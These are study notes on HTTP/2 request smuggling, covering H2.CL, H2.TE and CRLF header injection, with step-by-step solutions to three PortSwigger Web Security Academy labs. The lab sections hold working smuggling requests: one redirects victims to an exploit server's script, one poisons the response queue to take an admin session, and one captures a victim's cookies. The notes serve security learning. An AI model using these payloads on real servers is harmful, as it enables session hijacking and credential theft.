HTTP/2 Request Smuggling
HTTP/2 Message Length
HTTP/2 messages are sent over the wire as a series of separate “frames”. Each frame is preceded by an explicit length field, which tells the server exactly how many bytes to read in. Therefore, the length (or HTTP/2 implicit length) of the request is the sum of its frame lengths.
Seealso
HTTP/2 Downgrading
HTTP/2 downgrading is the process of rewriting HTTP/2 requests using HTTP/1 syntax to generate an equivalent HTTP/1 request. Web servers and reverse proxies often do this in order to offer HTTP/2 support to clients while communicating with back-end servers that only speak HTTP/1.
When the HTTP/1-speaking back-end issues a response, the front-end server reverses this process to generate the HTTP/2 response that it returns to the client.
This works because each version of the protocol is fundamentally just a different way of representing the same information.
H2.CL Vulnerabilities
During downgrading, front-end servers often add an HTTP/1 Content-Length
header based on the HTTP/2 implicit length. If the HTTP/2 request already has a Content-Length
header, some servers reuse it in the HTTP/1 request.
The specification requires this header to match the HTTP/2 implicit length, but improper validation can allow request smuggling by injecting a misleading Content-Length
header.
For example:
Front-end (HTTP/2):
:method POST
:path /example
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
content-length 0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10
x=1
Back-end (HTTP/1.1):
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
GET /admin HTTP/1.1 <-- Start of next request
Host: vulnerable-website.com
Content-Length: 10
x=1GET / H
Tip
In some request smuggling attacks, you may want the victim’s headers appended to your smuggled prefix, but this can cause duplicate header errors. To prevent this, add a trailing parameter and use a
Content-Length
header slightly longer than the body.
Lab: H2.CL Request Smuggling
Abstract
Front-end server downgrades HTTP/2 requests even if they have an ambiguous length.
To solve the lab, perform a request smuggling attack that causes the victim’s browser to load and execute a malicious JavaScript file from the exploit server, calling
alert(document.cookie)
. The victim user accesses the home page every 10 seconds.
Hint
Solving this lab requires a technique that we covered in Using HTTP Request Smuggling to Turn an On-site Redirect into an Open Redirect.
Info
Follow the solution to solve this lab.
Add a Content-Length: 1
header to any request and send it, receive this response:
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 125
<html><head><title>Server Error: Proxy error</title></head><body><h1>Server Error: Communication timed out</h1></body></html>
This confirms the back-end server accepts the Content-Length
header so it waits for one more byte, which causes the timed-out error.
Found a request that causes on-site redirect:
GET /resources HTTP/2
Host: 0a24009a03405cda80020d6700160084.web-security-academy.net
HTTP/2 302 Found
Location: https://0a24009a03405cda80020d6700160084.web-security-academy.net/resources/
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Info
The
/resources/js
and/resources/images
endpoints also have the same behaviour.
Construct the attack request:
POST / HTTP/2
Content-Length: 0
GET /resources HTTP/1.1
Host: foo
Content-Length: 3
x=
The front-end server will use the HTTP/2 implicit length to identify the length of the request so the first Content-Length
will be omitted by the front-end server. Therefore, the front-end server will forward all of its request body to back-end server.
The back-end server see the forwarded request as 2 requests due to the Content-Length: 0
line:
POST / HTTP/2
Content-Length: 0
GET /resources HTTP/1.1
Host: foo
Content-Length: 3
x=
The first one will be processed but the second one will be queued as back-end servers expects one more byte in the request body. As a result, any subsequent request will be prepended with the second request.
Response after sending the attack request twice:
HTTP/2 302 Found
Location: https://foo/resources/
X-Frame-Options: SAMEORIGIN
Content-Length: 0
As we can see, we can control the host name via Host
header in the smuggled request.
Store alert(document.cookie)
on exploit server at /resources
endpoint. Then, change Host
to exploit server’s hostname:
POST / HTTP/2
Content-Length: 0
GET /resources HTTP/1.1
Host: exploit-0a4d004f03f80bdd814a337d01570078.exploit-server.net
Content-Length: 3
x=
Send the request twice and the second response shows that we can redirect to a malicious script on the exploit server:
HTTP/2 302 Found
Location: https://exploit-0a4d004f03f80bdd814a337d01570078.exploit-server.net/resources/
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Send the attack request and wait as the victim will access the home page every 10 seconds:
10.0.3.11 2024-09-07 15:30:08 +0000 "GET /resources/ HTTP/1.1" 200 "user-agent: Chrome/116684"
116.111.184.204 2024-09-07 15:30:15 +0000 "GET /log HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36"
116.111.184.204 2024-09-07 15:30:15 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36"
10.0.3.11 2024-09-07 15:30:18 +0000 "GET /resources/ HTTP/1.1" 200 "user-agent: Chrome/116684"
116.111.184.204 2024-09-07 15:30:28 +0000 "GET /log HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36"
116.111.184.204 2024-09-07 15:30:28 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36"
10.0.3.11 2024-09-07 15:30:28 +0000 "GET /resources/ HTTP/1.1" 200 "user-agent: Chrome/116684"
H2.TE Vulnerabilities
Chunked transfer encoding is incompatible with HTTP/2 and the spec recommends that any transfer-encoding chunked
header you try to inject should be stripped or the request blocked entirely.
If the front-end server fails to do this, and subsequently downgrades the request for an HTTP/1 back-end that does support chunked encoding, this can also enable request smuggling attacks.
For example:
Front-end (HTTP/2):
:method POST
:path /example
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
transfer-encoding chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar
Back-end (HTTP/1):
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar
Hidden HTTP/2 Support
Some servers support HTTP/2 but may not declare it properly due to misconfiguration, causing clients to fall back to HTTP/1.1. This can lead testers to overlook potential HTTP/2 attack surfaces, including downgrade-based request smuggling.
Response Queue Poisoning
HTTP/2 Request Splitting
In HTTP/1.1, a full CRLF sequence in a header’s value indicates that the current header is terminated and a new one will start on the next line. However, since HTTP/2 is not plain text based and is instead binary based, CRLF sequences have no specific meaning.
In a case where HTTP downgrading is in play, the back-end server may split the header containing the CRLF sequence into two separate headers for the HTTP/1.1 request.
Important
This can be used when the
Content-Length
is validated and the back-end server doesn’t support chunked encoding.
Lab: HTTP/2 Request Splitting via CRLF Injection
Abstract
Front-end server downgrades HTTP/2 requests and fails to adequately sanitize incoming headers.
To solve the lab, delete the user
carlos
by using Response Queue Poisoning to break into the admin panel at/admin
. An admin user will log in approximately every 10 seconds.The connection to the back-end is reset every 10 requests, so don’t worry if you get it into a bad state - just send a few normal requests to get a fresh connection.
Hint
To inject newlines into HTTP/2 headers, use the Inspector to drill down into the header, then press the
Shift + Return
keys. Note that this feature is not available when you double-click on the header.
Info
Follow the solution to solve this lab.
Due to the binary format of HTTP/2, we need to edit value of header in “Inspector” tab of the request.
Add a header named foo
to any GET request with the following value:
bar
GET /admin HTTP/1.1
Host: 0aea00c804e2bb5583c134a4004800bd.web-security-academy.net
Though it looks like a normal header of HTTP/1.1, in HTTP/2 the CRLF sequence has no special meaning so the above value just like this:
bar\r\n\r\nGET /admin HTTP/1.1\r\nHost: 0aea00c804e2bb5583c134a4004800bd.web-security-academy.net
The front-end server will append \r\n\r\n
to the end of the request, making the value of foo
header a separate request.
Send the GET request a couple of times with some delays between each time until we found this response:
HTTP/2 302 Found
Location: /my-account?id=administrator
Set-Cookie: session=84wJ6NDkCLvkVsnl6Sz4gkUDaRWqg0rD; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Use this cookie to access /admin
as well as delete carlos
user for solving the lab.
Accounting for Front-end Rewriting
To split a request in the headers, you also need to understand how the request is rewritten by the front-end server and account for this when adding any HTTP/1 headers manually. Otherwise, one of the requests may be missing mandatory headers.
For example, you need to ensure that both requests received by the back-end contain a Host
header. Front-end servers typically strip the :authority
pseudo-header and replace it with a new HTTP/1 Host
header during downgrading.
Consider the following request:
Header | Value |
---|---|
:method | GET |
:path | / |
:authority | vulnerable-website.com |
foo | bar\r\n\r\nGET /admin HTTP/1.1\r\nHost: vulnerable-website.com |
During rewriting, some front-end servers append the new Host
header to the end of the current list of headers. As far as an HTTP/2 front-end is concerned, this after the foo
header. This means that the first request would have no Host
header at all, while the smuggled request would have two.
In this case, you need to position your injected Host
header so that it ends up in the first request once the split occurs:
Header | Value |
---|---|
:method | GET |
:path | / |
:authority | vulnerable-website.com |
foo | bar\r\nHost: vulnerable-website.com\r\n\r\nGET /admin HTTP/1.1 |
Tip
In the example above, we’ve split the request to trigger Response Queue Poisoning, but this method can also smuggle prefixes for classic request smuggling.
Lab: HTTP/2 Request Smuggling via CRLF Injection
Abstract
Front-end server downgrades HTTP/2 requests and fails to adequately sanitize incoming headers.
To solve the lab, use an HTTP/2-exclusive request smuggling vector to gain access to another user’s account. The victim accesses the home page every 15 seconds.
Info
Partially follow the solution to solve this lab.
Add a Transfer-Encoding
header without content:
Header | Value |
---|---|
:method | GET |
:path | / |
:authority | 0ae4000c04545c608206b1b000ff00a8.web-security-academy.net |
foo | bar\r\nTransfer-Encoding: chunked |
Send the above request and the response is:
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 125
<html><head><title>Server Error: Proxy error</title></head><body><h1>Server Error: Communication timed out</h1></body></html>
This response shows that the back-end server accepts the Transfer-Encoding
header and expect one more byte in the request body, which leads to a timed-out error.
Add the following data to request body:
0
SMUGGLED
The response after send the request twice shows that SMUGGLED
was prepended before a subsequent request:
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
Set-Cookie: session=NMKAW4yGLwwPuejqNhkfcpPNJWqnj4so; Secure; HttpOnly; SameSite=None
Set-Cookie: _lab_analytics=hlSmsTk9KlvyBbouFjq806hFOxRuvqqnNdZFUcBuS93y7CJyt1oHsFUcVu3ConWcEv49EzTNPHkq2aAmujt6txRhAN50gPw41EgrDgiZQG618vNT2qr8hhFhe5Ft664bSqLNvKEbGwDkyhjqNFyTWp3aveK1iDIyW37DoQ2OukRBhjVaneujv7M6642kKyXENc6xGzZi7f9NmfzvuZiX5SzunKdmfwlPnln1NFaNiTYkgEJf7D5jTt2jPOmAbAk6; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 11
"Not Found"
Also test for Content-Length
header:
Header | Value |
---|---|
:method | GET |
:path | / |
:authority | 0ae4000c04545c608206b1b000ff00a8.web-security-academy.net |
foo | bar\r\nContent-Length: 1 |
Send the request once and the response is:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Content-Length: 61
{"error":"Only one Content-Length header should be provided"}
This is due to the subsequent request having another Content-Length
, which makes duplication happens.
We convert the subsequent request’s headers into request body by using a longer Content-Length
and a trailing param:
Header | Value |
---|---|
:method | GET |
:path | / |
:authority | 0ae4000c04545c608206b1b000ff00a8.web-security-academy.net |
foo | bar\r\nContent-Length: 300\r\n\r\nx= |
Send the request once and the timed-out error happens:
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 125
<html><head><title>Server Error: Proxy error</title></head><body><h1>Server Error: Communication timed out</h1></body></html>
So, we now confirm that we can smuggle a request via header’s value by using CRLF injection.
We found that there is a request that displays search history based on the session cookie:
POST / HTTP/2
Cookie: session=2s0FnGjuZV2GwH3BdC3sXQ1Saqevks5h
search=hello2
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3488
...
<section class=blog-header>
<h1>0 search results for 'hello2'</h1>
<hr>
</section>
<label>Recent searches:</label>
<ul>
<li><a href="/?search=hello2">hello2</a></li>
<li><a href="/?search=hello">hello</a></li>
</ul>
Smuggle a request with our cookie using Transfer-Encoding
approach:
Header | Value |
---|---|
:method | GET |
:path | / |
:authority | 0ae4000c04545c608206b1b000ff00a8.web-security-academy.net |
foo | bar\r\nTransfer-Encoding: chunked |
Request body:
0
POST / HTTP/1.1
Host: 0ae4000c04545c608206b1b000ff00a8.web-security-academy.net
Cookie: session=2s0FnGjuZV2GwH3BdC3sXQ1Saqevks5h
Content-Length: 1500
search=x
Send the attack request and send a request to /
for checking whether we can capture the victim’s request.
If we are lucky, there will be a search history entry like this:
<label>Recent searches:</label>
<ul>
<li><a href="/?search=xGET+%2f+HTTP%2f1.1%0d%0aHost%3a+0ae4000c04545c608206b1b000ff00a8.web-security-academy.net%0d%0asec-ch-ua%3a+%22Google+Chrome%22%3bv%3d%22125%22%2c+%22Chromium%22%3bv%3d%22125%22%2c+%22Not.A%2fBrand%22%3bv%3d%2224%22%0d%0asec-ch-ua-mobile%3a+%3f0%0d%0asec-ch-ua-platform%3a+%22Linux%22%0d%0aupgrade-insecure-requests%3a+1%0d%0auser-agent%3a+Mozilla%2f5.0+%28Victim%29+AppleWebKit%2f537.36+%28KHTML%2c+like+Gecko%29+Chrome%2f125.0.0.0+Safari%2f537.36%0d%0aaccept%3a+text%2fhtml%2capplication%2fxhtml%2bxml%2capplication%2fxml%3bq%3d0.9%2cimage%2favif%2cimage%2fwebp%2cimage%2fapng%2c*%2f*%3bq%3d0.8%2capplication%2fsigned-exchange%3bv%3db3%3bq%3d0.7%0d%0asec-fetch-site%3a+none%0d%0asec-fetch-mode%3a+navigate%0d%0asec-fetch-user%3a+%3f1%0d%0asec-fetch-dest%3a+document%0d%0aaccept-encoding%3a+gzip%2c+deflate%2c+br%2c+zstd%0d%0aaccept-language%3a+en-US%2cen%3bq%3d0.9%0d%0apriority%3a+u%3d0%2c+i%0d%0acookie%3a+victim-fingerprint%3djFP5uRgrEyzLntopcmqPbTK19VBe2Roh%3b+secret%3dfZut3l0HHNQYC7cnr7qhDCFnuIJDECXG%3b+session%3d4JDNknactqmtzDk76YVJpDhmHozmZcLa%3b+_lab_analytics%3dtMZB6CvzkkEAUV6FO2p5tJaU6rwliY2ykONbbwC4aexg8mjkURQQaYJPp0bEdnpwhFStmHWXwSPD284EuDXj8L2uuKYLEfDPHdwVCuTY7GHftLyUdBM5rsodbncQxW6vJzPyHR8mYSeIJjdjvmJFlsgUXU8QI">xGET / HTTP/1.1
Host: 0ae4000c04545c608206b1b000ff00a8.web-security-academy.net
sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
sec-fetch-site: none
sec-fetch-mode: navigate
sec-fetch-user: ?1
sec-fetch-dest: document
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US,en;q=0.9
priority: u=0, i
cookie: victim-fingerprint=jFP5uRgrEyzLntopcmqPbTK19VBe2Roh; secret=fZut3l0HHNQYC7cnr7qhDCFnuIJDECXG; session=4JDNknactqmtzDk76YVJpDhmHozmZcLa; _lab_analytics=tMZB6CvzkkEAUV6FO2p5tJaU6rwliY2ykONbbwC4aexg8mjkURQQaYJPp0bEdnpwhFStmHWXwSPD284EuDXj8L2uuKYLEfDPHdwVCuTY7GHftLyUdBM5rsodbncQxW6vJzPyHR8mYSeIJjdjvmJFlsgUXU8QI</a></li>
As we can see, our smuggled request was prepended to a request made by the victim. As a result, the victim’s request was stored in the history tied with our session
cookie.
Note
If we can not capture the victim’s request, just send the attack request again and wait for 15 seconds before refresh the home page.
Use the leaked cookies to access /my-account
page for solving the lab.
We can also use the Content-Length
approach:
Header | Value |
---|---|
:method | GET |
:path | / |
:authority | 0ae4000c04545c608206b1b000ff00a8.web-security-academy.net |
foo | bar\r\nContent-Length: 0\r\n\r\nPOST / HTTP/1.1\r\nHost: 0ae4000c04545c608206b1b000ff00a8.web-security-academy.net\r\nCookie: session=geNR5tsQIQoMhBcgdyoWorfGOgLuU4hb\r\nContent-Length: 1000\r\n\r\nsearch=x |
HTTP Request Tunnelling
Related
list
from outgoing([[Port Swigger - Advanced Request Smuggling]])
sort file.ctime asc